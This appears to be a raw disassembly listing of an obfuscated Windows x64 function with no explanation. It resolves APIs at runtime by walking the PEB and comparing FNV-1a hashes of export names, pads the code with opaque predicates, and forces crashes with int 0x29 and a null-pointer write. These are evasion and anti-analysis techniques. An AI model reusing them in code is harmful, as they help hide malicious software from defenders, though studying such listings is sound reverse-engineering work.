cmp edx, edi
jne 0x14012aaa6
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14012aaa6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14012aaa6
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14012aa2f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012aa24
cmp edx, esi
je 0x14012aa44
test r9d, r9d
jne 0x14012aa0f
jmp 0x14012aaa6
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14012aabf
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14012aabf
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012aa85
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012aa77
jmp 0x14012aa99
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14012aa8e
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012aabc
cmp qword [rax + 0x30], 0
jne 0x14012a994
xor r9d, r9d
mov qword [0x141718550], r9
mov ebx, dword [rbp - 0x24]
mov edi, dword [rsp + 0x34]
mov esi, dword [rbp - 0x20]
mov r14d, dword [rsp + 0x38]
mov r15d, dword [rsp + 0x3c]
mov r8, qword [r13]
xor edx, edx
mov ecx, 0x1f0003
call r9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, dword [rsp + 0x20]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b731
cmp r9d, 6
je 0x14012ab25
test r9d, r9d
je 0x14012ab25
xor edx, edx
jmp 0x14012ab2a
mov edx, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rbp - 0x18], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012abbc
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012abbc
mov dword [rbp - 0x2c], 1
jmp 0x14012ac14
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012ac14
lea ecx, [r12 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x18]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x2c]
test eax, eax
je 0x14012b731
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r14d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012ad85
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x18], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012acfb
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012acfb
mov dword [rbp - 0x28], 1
jmp 0x14012ad53
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012ad53
lea ecx, [r12 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x18]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
lea ecx, [r12 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x14012ad85
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x14012aee2
xor edi, edi
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012adfa
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012aded
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012adde
cmp edx, edi
jne 0x14012aec3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012aec3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012aec3
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012ae4e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012ae43
cmp edx, esi
je 0x14012ae63
test r11d, r11d
jne 0x14012ae2e
jmp 0x14012aec3
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012aedb
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14012aedb
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012aea4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012ae96
jmp 0x14012aeb7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012aeac
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012aed9
cmp qword [rax + 0x30], 0
jne 0x14012adb3
xor edx, edx
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x14012b046
xor edi, edi
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012af5e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012af51
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012af42
cmp edx, edi
jne 0x14012b027
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012b027
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012b027
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012afb2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012afa7
cmp edx, esi
je 0x14012afc7
test r11d, r11d
jne 0x14012af92
jmp 0x14012b027
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x14012b03f
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14012b03f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012b008
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14012affa
jmp 0x14012b01b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14012b010
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012b03d
cmp qword [rax + 0x30], 0
jne 0x14012af17
xor ebx, ebx
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x14012b1b0
xor edi, edi
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012b0c8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012b0bb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012b0ac
cmp edx, edi
jne 0x14012b191
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012b191
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012b191
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012b11c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012b111
cmp edx, esi
je 0x14012b131
test r11d, r11d
jne 0x14012b0fc
jmp 0x14012b191
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012b1a9
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012b1a9
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012b172
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012b164
jmp 0x14012b185
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012b17a
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012b1a7
cmp qword [rax + 0x30], 0
jne 0x14012b081
xor edx, edx
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x14012b311
xor edi, edi
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012b229
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012b21c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012b20d
cmp edx, edi
jne 0x14012b2f2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012b2f2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012b2f2
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012b27d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012b272
cmp edx, esi
je 0x14012b292
test r11d, r11d
jne 0x14012b25d
jmp 0x14012b2f2
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012b30a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012b30a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012b2d3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012b2c5
jmp 0x14012b2e6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012b2db
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012b308
cmp qword [rax + 0x30], 0
jne 0x14012b1e2
xor edx, edx
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x14012b472
xor edi, edi
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012b38a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012b37d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012b36e
cmp edx, edi
jne 0x14012b453
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012b453
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012b453
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012b3de
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012b3d3
cmp edx, esi
je 0x14012b3f3
test r11d, r11d
jne 0x14012b3be
jmp 0x14012b453
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012b46b
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012b46b
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012b434
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012b426
jmp 0x14012b447
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012b43c
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012b469
cmp qword [rax + 0x30], 0
jne 0x14012b343
xor edx, edx
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], 0
jne 0x14012b5d4
xor edi, edi
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012b4e9
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012b4dc
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012b4cd
cmp edx, edi
jne 0x14012b5b4
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14012b5b4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14012b5b4
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14012b53d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012b532
cmp edx, esi
je 0x14012b552
test r9d, r9d
jne 0x14012b51d
jmp 0x14012b5b4
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14012b5cd
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14012b5cd
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012b593
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012b585
jmp 0x14012b5a7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14012b59c
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14012b5ca
cmp qword [rax + 0x30], 0
jne 0x14012b4a2
xor r9d, r9d
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
xor r9d, r9d
mov ebx, dword [rbp - 0x24]
mov r10d, dword [rsp + 0x34]
mov r13d, dword [rbp - 0x80]
mov esi, dword [rbp - 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x18], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b698
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012b698
mov r13d, 1
jmp 0x14012b6ee
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b6ee
lea ecx, [r12 + r10]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x18]
cvttsd2si r13d, xmm0
cmp r9d, r13d
jge 0x14012b71c
mov eax, 1
mov qword [rbp - 0x80], rax
mov ecx, eax
mov qword [rbp + rcx*8 - 0x80], rax
mov rax, qword [rbp - 0x80]
add rax, 1
mov rcx, rax
mov qword [rbp - 0x80], rax
jne 0x14012b6fe
inc r9d
jmp 0x14012b5ea
mov dword [rbp - 0x80], r13d
mov qword [0], 0x99
mov r13, qword [rsp + 0x28]
add r13, 8
mov qword [rsp + 0x28], r13
cmp r13, qword [rbp + 0x10]
mov edi, dword [rsp + 0x34]
mov r14d, dword [rsp + 0x38]
mov r15d, dword [rsp + 0x3c]
jne 0x14012a966
mov r9d, dword [rbp - 0x1c]
inc r9d
mov dword [rbp - 0x1c], r9d
jmp 0x14012a837
lea rcx, [rbp + 0x40]
call fcn.1401068ec
nop
mov rcx, qword [rbp - 0x10]
xor rcx, qword [rbp - 8]
mov rax, qword [rbp]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.1401dad40
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret